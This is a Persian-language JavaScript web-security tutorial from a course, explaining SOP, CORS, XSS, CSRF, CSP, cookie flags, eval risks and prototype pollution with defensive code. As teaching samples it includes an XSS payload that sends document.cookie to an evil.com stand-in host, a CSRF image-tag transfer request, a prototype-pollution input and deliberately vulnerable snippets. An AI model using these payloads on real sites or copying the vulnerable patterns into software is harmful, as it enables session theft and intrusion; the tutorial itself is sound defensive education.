امنیت جاوا اسکریپت
Same-Origin Policy و CORS، XSS و DOM XSS و CSRF، Content Security Policy، امنیت Cookie، اعتبارسنجی و Sanitization، خطرات eval و Prototype Pollution.
مبانی امنیت
اصول کلیدی امنیت وب:
- هرگز به ورودی کاربر اعتماد نکن
- اعتبارسنجی در کلاینت را کافی ندان — سرور همیشه!
- اصل حداقل دسترسی — فقط چیزی که لازم است
- Defense in Depth — لایههای متعدد حفاظت
Same-Origin Policy (SOP)
مرورگر اسکریپتهای یک Origin را از دسترسی به منابع Origin دیگر منع میکند:
// Origin = Protocol + Domain + Port
// https://site.com/page
// ├── https://site.com/api ✓ همان Origin
// ├── https://api.site.com/api ✗ دامنه متفاوت
// ├── http://site.com/api ✗ پروتکل متفاوت
// └── https://site.com:8080 ✗ پورت متفاوت
// محدودیتهای SOP:
// ✗ خواندن response درخواست بینOrigin
// ✗ دسترسی به DOM iframe دیگر
// ✓ ارسال فرم و درخواست (ولی خواندن نه)
CORS — اشتراک منابع بینOrigin
راه قانونی دور زدن محدودیت SOP — با اجازه سرور:
// سرور باید هدر بدهد:
// Access-Control-Allow-Origin: https://client.com
// Access-Control-Allow-Methods: GET, POST, PUT
// Access-Control-Allow-Headers: Content-Type, Authorization
// درخواست ساده — مستقیم میرود:
fetch("https://api.other.com/data"); // GET
// درخواست پیچیده — اول Preflight:
fetch("https://api.other.com/data", {
method: "POST",
headers: { "Content-Type": "application/json" }, // → Preflight!
body: JSON.stringify(data)
});
// 1. مرورگر OPTIONS میفرستد
// 2. سرور اجازه میدهد
// 3. درخواست اصلی میرود
CORS در کلاینت قابل دور زدن نیست — کاملاً به هدرهای سرور وابسته است.
XSS — Cross-Site Scripting
تزریق کد مخرب به صفحه — خطرناکترین حمله وب:
// آسیبپذیر: ❌
const userComment = \'<img src=x>\'; // ورودی کاربر
element.innerHTML = userComment; // کد اجرا میشود!
// حمله واقعی:
// \'<script>fetch("https://evil.com/steal?c=" + document.cookie)</script>\'
// امن: ✓
element.textContent = userComment; // متن — اجرا نمیشود!
انواع XSS
| نوع | نحوه | مثال |
|---|---|---|
| Stored | ذخیره در سرور، نمایش به همه | کامنت آلوده |
| Reflected | در URL، بازگشت در پاسخ | ??search=<script> |
| DOM XSS | کلا سمت کلاینت | location.hash → innerHTML |
DOM XSS — خطرناک برای JS
// آسیبپذیر — خواندن URL: ❌
const hash = location.hash.slice(1);
document.querySelector("#content").innerHTML = hash;
// URL: #<img src=x>
// امن: ✓
const hash = location.hash.slice(1);
document.querySelector("#content").textContent = hash;
// لیست امن sourceها:
// ✗ innerHTML, outerHTML, insertAdjacentHTML
// ✗ document.write
// ✗ eval, new Function, setTimeout(رشته)
// ✓ textContent, innerText
// ✓ createElement + textContent
Sanitization — پاکسازی HTML
// با DOMPurify — استاندارد صناعت:
// import DOMPurify from "dompurify";
const dirty = \'<img src=x><b>متن مجاز</b>\';
// const clean = DOMPurify.sanitize(dirty);
// console.log(clean); // "<b>متن مجاز</b>" — فقط تگهای امن
// sanitize دستی — فقط تگهای سفید:
function simpleSanitize(html) {
const allowed = new Set(["B", "I", "EM", "STRONG", "P", "BR"]);
const div = document.createElement("div");
div.innerHTML = html;
// پیمایش و حذف تگهای غیرمجاز:
const walk = (node) => {
[...node.children].forEach(child => {
if (!allowed.has(child.tagName)) {
// جایگزینی با متن:
child.replaceWith(...child.childNodes);
} else {
// حذف همه ویژگیها:
[...child.attributes].forEach(attr =>
child.removeAttribute(attr.name)
);
walk(child);
}
});
};
walk(div);
return div.innerHTML;
}
CSRF — جعل درخواست بینسایتی
فریب مرورگر برای ارسال درخواست ناخواسته با Cookie قربانی:
// کاربر در bank.com لاگین است (Cookie دارد)
// در سایت evil.com:
// <img src="https://bank.com/transfer?to=hacker&amount=1000">
// مرورگر Cookie را خودکار میفرستد!
// دفاع ۱ — CSRF Token:
// سرور: <input type="hidden" name="_token" value="random123">
// هر درخواست باید توکن داشته باشد
// دفاع ۲ — SameSite Cookie:
document.cookie = "session=abc; samesite=strict";
// دفاع ۳ — بررسی Origin:
// سرور: if (req.headers.origin !== "https://mysite.com") reject
Content Security Policy (CSP)
هدر قدرتمند برای محدود کردن منابع مجاز:
// در <head> یا هدر HTTP:
// Content-Security-Policy:
// default-src 'self';
// script-src 'self' https://apis.google.com;
// style-src 'self' 'unsafe-inline';
// img-src 'self' data: https:;
// connect-src 'self' https://api.mysite.com;
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// اثر:
// ✗ اسکریپت inline — بلاک
// ✗ eval() — بلاک
// ✗ اسکریپت از دامنه دیگر — بلاک
// ✓ فقط فایلهای خود سایت
امنیت Cookie
// هدرهای امن:
Set-Cookie: session=abc123;
HttpOnly; // ✗ دسترسی JS — ضد XSS
Secure; // فقط HTTPS
SameSite=Strict; // ضد CSRF
Path=/;
Max-Age=3600;
// در جاوا اسکریپت — HttpOnly دیده نمیشود:
console.log(document.cookie); // بدون session!
خطرات eval
// هرگز: ❌
eval("alert(" + userInput + ")"); // تزریق کد!
new Function("return " + userInput)(); // همان خطر!
setTimeout("doSomething(" + data + ")", 100); // ارزیابی رشته!
// جایگزینها: ✓
// JSON:
const data = JSON.parse(jsonString);
// محاسبه — Function سفارشی:
function safeCalculate(a, b, op) {
const ops = {
"+": (x, y) => x + y,
"-": (x, y) => x - y,
"*": (x, y) => x * y
};
return ops[op]?.(a, b) ?? "عملیات نامعتبر";
}
Prototype Pollution
// حمله — تزریق به prototype:
// ورودی مخرب: {"__proto__": {"isAdmin": true}}
const malicious = JSON.parse(\'{"__proto__": {"isAdmin": true}}\');
// ادغام ناامن: ❌
function unsafeMerge(target, source) {
for (const key in source) {
target[key] = source[key]; // __proto__ هم کپی میشود!
}
}
// همه اشیا آلوده میشوند:
// ({}).isAdmin === true → نفوذ!
// امن: ✓
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === "__proto__" || key === "constructor") continue;
target[key] = source[key];
}
}
// یا با Object.create(null) — بدون prototype:
const safe = Object.create(null);
اعتبارسنجی ورودی
// کلاینت — برای UX، سرور برای امنیت!
function validateInput(input, rules) {
const errors = [];
if (rules.required && !input?.trim()) {
errors.push("این فیلد الزامی است");
}
if (rules.maxLength && input.length > rules.maxLength) {
errors.push(`حداکثر ${rules.maxLength} کاراکتر`);
}
if (rules.pattern && !rules.pattern.test(input)) {
errors.push("قالب نامعتبر");
}
if (rules.numeric && isNaN(Number(input))) {
errors.push("باید عدد باشد");
}
return { valid: errors.length === 0, errors };
}
// استفاده:
const emailCheck = validateInput(userInput, {
required: true,
pattern: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
maxLength: 254
});
امنیت API و توکن
// ذخیره امن توکن:
// ✗ localStorage — XSS میتواند بخواند
// ✓ HttpOnly Cookie — JS دسترسی ندارد
// ✓ حافظه (متغیر) — با refresh میرود + refresh token در cookie
// مدیریت توکن:
class TokenManager {
#accessToken = null;
#refreshEndpoint = "/api/refresh";
async getValidToken() {
if (!this.#accessToken || this.#isExpired()) {
await this.#refresh();
}
return this.#accessToken;
}
#isExpired() {
if (!this.#accessToken) return true;
const payload = JSON.parse(atob(this.#accessToken.split(".")[1]));
return Date.now() / 1000 > payload.exp - 60; // ۱ دقیقه قبل
}
async #refresh() {
const res = await fetch(this.#refreshEndpoint, {
method: "POST",
credentials: "include" // HttpOnly refresh cookie
});
const { token } = await res.json();
this.#accessToken = token;
}
}
امنیت وابستگیها
// npm audit — بررسی آسیبپذیری:
// npm audit
// npm audit fix
// قفل نسخهها:
// package-lock.json را commit کنید
// بررسی قبل از نصب:
// npm view package-name
// ابزارها: Snyk, GitHub Dependabot
اسکریپتهای شخص ثالث
// خطر — اسکریپت خارجی full access دارد:
// <script src="https://cdn.example.com/lib.js"></script>
// اگر CDN هک شود → سایت شما هم!
// دفاعها:
// 1. SRI — Subresource Integrity:
// <script src="..." integrity="sha384-Base64Hash" crossorigin="anonymous">
// 2. Self-host — خودتان میزبانی کنید
// 3. CSP — محدود کردن دامنهها
جمعبندی — چکلیست امنیت
- ✓ ورودیها validate و sanitize
- ✓ textContent بهجای innerHTML
- ✓ CORS درست در سرور
- ✓ CSP فعال
- ✓ Cookie با HttpOnly, Secure, SameSite
- ✓ بدون eval
- ✓ بدون تزریق prototype
- ✓ توکن در HttpOnly cookie
- ✓ وابستگیها audit
- ✓ SRI برای CDN
این مبحث بخشی از دوره آموزش کامل جاوا اسکریپت است.